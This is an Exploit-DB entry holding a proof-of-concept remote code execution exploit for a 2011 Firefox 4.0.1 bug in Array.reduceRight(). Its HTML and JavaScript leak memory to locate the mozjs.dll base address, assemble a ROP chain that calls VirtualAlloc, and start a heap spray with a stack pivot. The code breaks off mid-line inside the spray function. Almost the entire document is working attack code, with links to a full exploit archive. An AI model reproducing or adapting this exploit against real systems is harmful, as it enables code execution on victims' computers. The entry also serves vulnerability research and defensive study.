Exploit-DB #18531
Description: Mozilla Firefox 4.0.1 - 'Array.reduceRight()' Remote Overflow
Type: remote
Platform: windows
Date: 2012-02-27
Author: pa_kt

Exploit:
<!--

Full Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18531.zip

PoC exploit for CVE-2011-2371

tested against Firefox 4.0.1
md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4

change constants to switch between w7/xp.
see my blog if you want to know how this works.
http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/

p_k
twitter.com/pa_kt
gdtr.wordpress.com
-->

<html>
    <script src="jspack.js"></script>
    <script>
    

    function hex(x){
        var y = x.toString(16);
        y = "0x"+y;
        return y;
    }

    function itoa(i)
    { 
       return String.fromCharCode(i);
    }
    
    // n - length in bytes (1 unicode char = 2 bytes)
    function puff(x, n){
        while(x.length < n) x += x;

        return x.substring(0,n);
    }
        
      function arr2hex(tab){
          var s = "";
          for(var i in tab){
              x = tab[i];
              x = x.toString(16);
              if(x.length<2)
                x = "0"+x;
              s += x + " ";
            }
            return s;
        }

        function arr2ascii(tab){
            var s = ""
            for(var i in tab){
                x = tab[i];
                if(0x20 <= x && x<=0x7f){
                    y = itoa(x);
                }
                else{
                    y = ".";
                }
                s += y;
            }
            return s;
        }

    function xchg(d,i,j){
        t = d[i];
        d[i] = d[j];
        d[j] = t;
    }

    function bswap(d){
        xchg(d, 0, 3);
        xchg(d, 1, 2);
    }
    
    function nicer(tab){
          jsp = new JSPack();
          res = [];
          for(var i in tab){
              x = tab[i];
              t = jsp.Pack("d", [x]);
              d1 = t.slice(0, 4);
              d2 = t.slice(4, 8);
              bswap(d1);
              bswap(d2);
              t = [d1,d2]; 
              res = res.concat(t);
          }
          res = res.reverse();
          return res;
    }

    function dw2int(d){
        n = 0;
        for(var i=0;i<4;i++){
            n *= 256;
            n += d[3-i];
        }
        return n;
    }
    
      function convert(tab){

          o = s = v = "";
          for(var i in tab){
              d = tab[i];
              s += arr2hex(d);
              v += arr2ascii(d);
              if((parseInt(i)+1)%4==0){
                  o += s + " | " + v + "\n";
                  s = "";
                  v = "";
              }
          }
          return o;
      }

    function check_pair(d1, d2){
        var n1 = dw2int(d1);
        var n2 = dw2int(d2);

        if(n2-n1 == 0x304)
            return true;
        return false;
    }

    function find_mozjs_base(tab){
        var n1 = 0;
        for(var i=0;i<tab.length-4;i++){
            d1 = tab[i];
            d2 = tab[i+1];
            if(check_pair(d1,d2)){
                n1 = dw2int(d1);
                n1 = n1 - 0x3cac;   //n1 = mozjs .data
                n1 = n1 - 0x1B2000; //n1 = mozjs base
                break;
            }
        }

        return n1;
    }

    function d2u(dword){
        var uni = String.fromCharCode(dword & 0xFFFF);
        uni += String.fromCharCode(dword>>16);
        return uni;
    }

    function odd_d2u(d1, d2){
		uni = String.fromCharCode((d1&0xFF)<<8);
		uni += String.fromCharCode((d1>>8)&0xFFFF);
        uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T
		uni += String.fromCharCode((d2>>8)&0xFFFF);
        uni += String.fromCharCode(d2>>24);
        return uni;
    }

    // generated with mona.py
    function rop_chain(mozjs_base){
        var arr = [
            mozjs_base + 0x000c96e6,	// POP EAX // RETN [mozjs.dll] 
            mozjs_base + 0x0015d054,	// ptr to &VirtualAlloc() [IAT mozjs.dll]
            mozjs_base + 0x00028510,	// MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll] 
            mozjs_base + 0x0014293c,	// XCHG EAX,ESI // RETN [mozjs.dll] 
            mozjs_base + 0x0014d00d,	// POP EBP // RETN [mozjs.dll] 
            mozjs_base + 0x000d7ee2,	// & push esp //  ret 04 [mozjs.dll]
            mozjs_base + 0x000be327,	// POP EBX // RETN [mozjs.dll] 
            0x00000001,                 	// 0x00000001-> ebx
            mozjs_base + 0x0004f422,	// POP EDX // RETN [mozjs.dll] 
            0x00001000,                 	// 0x00001000-> edx
            mozjs_base + 0x000b1421,	// POP ECX // RETN [mozjs.dll] 
            0x00000040,                 	// 0x00000040-> ecx
            mozjs_base + 0x000062e3,	// POP EDI // RETN [mozjs.dll] 
            mozjs_base + 0x0000f005,	// RETN (ROP NOP) [mozjs.dll]
            mozjs_base + 0x000652f0,	// POP EAX // RETN [mozjs.dll] 
            0x90909090,                 	// nop
            mozjs_base + 0x001372bd 	// PUSHAD // RETN [mozjs.dll] 
            ];
        return arr;
    }
    
    function tab2uni(tab){
        var uni = ""
        for(var i=0;i<tab.length;i++){
            uni += d2u(tab[i]);
        }
        return uni;
    }

    function spray(mozjs_base, h1_s, hsize) {

        function rva2va(addr) { return addr+mozjs_base; }
        function rva2d(addr) { return d2u(rva2va(addr)); }
        
        var align = 0x100000;
        var tab_offset = 0x1000;
        var TYPE_OBJECT = "%u0007%uffff";
        var pivot_rva = 0x1a21c;        // 0x68e7a21c :  # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN 
        var mov_esp_ebp_rva = 0x1a222;	// mov esp, ebp # pop ebp # ret

        var h2_s = h1_s + hsize;
        var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align

        //mov     eax,dword ptr [edi+64h]   ;edi=[h2_ptr+4], later: call eax

        var h2_ptr = h2_mid